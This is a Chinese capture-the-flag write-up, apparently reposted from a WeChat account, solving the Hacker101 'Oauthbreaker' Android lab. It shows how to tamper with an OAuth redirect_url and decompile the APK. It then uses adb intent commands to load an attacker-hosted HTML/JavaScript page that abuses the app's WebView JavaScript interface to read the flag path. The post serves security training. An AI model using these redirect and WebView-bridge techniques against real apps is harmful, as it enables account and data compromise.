本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
简介:Hacker101是世界上最大的赏金猎人网站Hackerone的教程靶场。
知识点:第三方授权漏洞
这是一个android靶场,访问网站会让下载apk文件,下载安装打开如下图。
图1:app主页
点击AUTHENTICATE,会跳转到浏览器请求,为方便解说这里命名为操作一:
# 请求的链接
/oauth?redirect_url=oauth%3A%2F%2Ffinal%2Flogin&response_type=token&scope=all
图2:跳转浏览器
再点击Authorize Mobile Application,会请求/authed(此时还在浏览器中),burpsuite那边查看显示"Successfully authenticated via OAuth!"。为方便解说这里命名为操作二,
图3:跳转授权确认
图4:burpsuite跳转授权确认
功能说明:这个过程模拟的是app第三方授权的过程,操作一是请求第三方网站,操作二是第三方网站确认授权,猜测是第三方授权漏洞。
模拟器设置burpsuite代理,反编译等见文章底部跳转链接另一篇文章。
Flag 1
在burpsuite任意修改操作一中的参数redirect_url的值就可以获取Flag 1。这里就说明我们可以控制app请求的第三方网站。
图5:Burpsuite获取Flag 1
这里看不出效果,我们使用adb调试app再试一下。
打开cmd,进入夜神模拟器软件安装位置下的bin目录,执行如下命令连接模拟器。
# adb连接设备
adb connect 127.0.0.1:62001
# 如果端口不对,可以运行如下命令查看端口
nox_adb.exe devices
# 查看设备连接情况
adb devices
图6:adb连接模拟器
执行如下命令,模拟我们修改redirect_uri的操作。
adb shell am start -a "android.intent.action.VIEW" -n com.hacker101.oauth/.MainActivity -d "oauth://?redirect_uri=https://www.baidu.com/"
# adb shell am start:这是ADB命令的一部分,用于在Android设备上启动一个Activity Manager(am)的start操作,即启动一个新的Activity。
# -a "android.intent.action.VIEW":这个参数指定了Intent的动作(Action)为VIEW,通常用于查看或显示数据。这是处理URL的标准动作之一。
# -n com.hacker101.oauth/.MainActivity:这个参数通过组件名(Component Name)直接指定了要启动的Activity。com.hacker101.oauth是应用的包名,而/.MainActivity指定了包内的MainActivity类。注意,这里的/前面没有指定包名,因为-n参数已经通过com.hacker101.oauth指定了包名。
# -d "oauth://login/?redirect_uri=https://example.com/":这个参数通过数据(Data)URI指定了Intent的附加信息。这里使用的是自定义的oauth协议,后跟一个具体的URI路径login/,并带有一个查询参数redirect_uri,其值为https://example.com/。这个URI通常用于告诉应用登录成功后应该重定向到哪里。
图7:执行adb命令
在模拟器中依然进行操作一和操作二,网站会访问百度,且后面带Flag,和刚才我们在burpsuite中获取到的Flag一致。也说明我们控制了app请求的url地址。
图8:模拟器获取Flag 1
我们下面进行代码分析,在kali中使用如下代码在对apk进行反编译得到oauth-dex2jar.jar文件,然后使用jd-gui打开。
sh d2j-dex2jar.sh -f oauth.apk
图9:代码目录
操作一在MainActivity.class中,操作二在Browser.class中。
在WebAppInterFace.class中找到getFlagPath()函数,将函数使用Java运行结果不对,那么应该是要想办法在app中调用getFlagPath()。
图10:WebAppInterFace.class
经过搜索,发现在Browser.class文件中调用了类WebAppInterface。
而且由代码可知,程序会将传入类Browser的uri参数的值作为新的url去调用,且调用时会嵌入类WebAppInterface,并命名为iface。
<input type="text" id="flag" />
<script>document.getElementById("flag").value = iface.getFlagPath()</script>
然后使用命令行传入参数获取Flag地址,里面就是Flag地址,这里要把模拟器切换成竖幕,横屏会显示不全。
adb shell am start -a "android.intent.action.VIEW" -n com.hacker101.oauth/.Browser -d http://?uri=http://你的服务器地址/Oauthbreaker.html
图13:Flag地址
图14:Flag 2
感谢收看!
模拟器设置burpsuite代理
Rsec,公众号:Rsec[Hacker101靶场] H1 Thermostat[Easy]
原文始发于微信公众号(Rsec):[Hacker101靶场] Oauthbreaker[Easy]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论